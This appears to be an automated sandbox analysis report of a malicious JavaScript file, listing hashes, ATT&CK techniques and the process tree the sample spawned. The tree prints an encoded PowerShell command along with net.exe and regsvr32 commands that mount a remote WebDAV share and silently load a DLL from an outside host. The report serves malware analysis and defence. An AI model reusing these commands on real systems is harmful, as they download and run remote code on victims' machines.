a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
21-08-2024 15:57

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General

Target

a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25.js
Size

13KB
MD5

c0ed197aef6e402ba2f1f286ef7a5e0b
SHA1

50dddbc2aad2e5c20f84b146718aae109ac184bc
SHA256

a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25
SHA512

6fb36968dbc7a00471258f2df63a7adacafca53d7750f199c440fb502a7fa3d0b27c208de824792b9107b1dc11df6c4acbe5038ae897d98258c9f27fa331bd7f
SSDEEP

96:6To/qCXep9vYcV9YDuHDwDQDmFouDylnCDoDnDVLD5ouDylnCDoDnDiND:1qCu9nV9YKHccwWlnCkDRLrWlnCkDm5

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2828	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2828	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 2828	2776	wscript.exe	30
PID 2776 wrote to memory of 2828	2776	wscript.exe	30
PID 2776 wrote to memory of 2828	2776	wscript.exe	30
PID 2828 wrote to memory of 2716	2828	powershell.exe	32
PID 2828 wrote to memory of 2716	2828	powershell.exe	32
PID 2828 wrote to memory of 2716	2828	powershell.exe	32
PID 2828 wrote to memory of 2616	2828	powershell.exe	33
PID 2828 wrote to memory of 2616	2828	powershell.exe	33
PID 2828 wrote to memory of 2616	2828	powershell.exe	33
PID 2828 wrote to memory of 2616	2828	powershell.exe	33
PID 2828 wrote to memory of 2616	2828	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a4d988e16af841243a863f4e0b905431c9e6d66b9746657e259e6b13db75db25.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADMAMwA5ADgAMwAyADUAMwAxADQAMAA2ADgALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:2716
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\3398325314068.dll
    3⤵
    PID:2616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2828-4-0x000007FEF5A1E000-0x000007FEF5A1F000-memory.dmp

Filesize
4KB

Download
memory/2828-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2828-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2828-7-0x000007FEF5760000-0x000007FEF60FD000-memory.dmp

Filesize
9.6MB

Download
memory/2828-8-0x000007FEF5760000-0x000007FEF60FD000-memory.dmp

Filesize
9.6MB

Download
memory/2828-10-0x000007FEF5760000-0x000007FEF60FD000-memory.dmp

Filesize
9.6MB

Download
memory/2828-9-0x000007FEF5760000-0x000007FEF60FD000-memory.dmp

Filesize
9.6MB

Download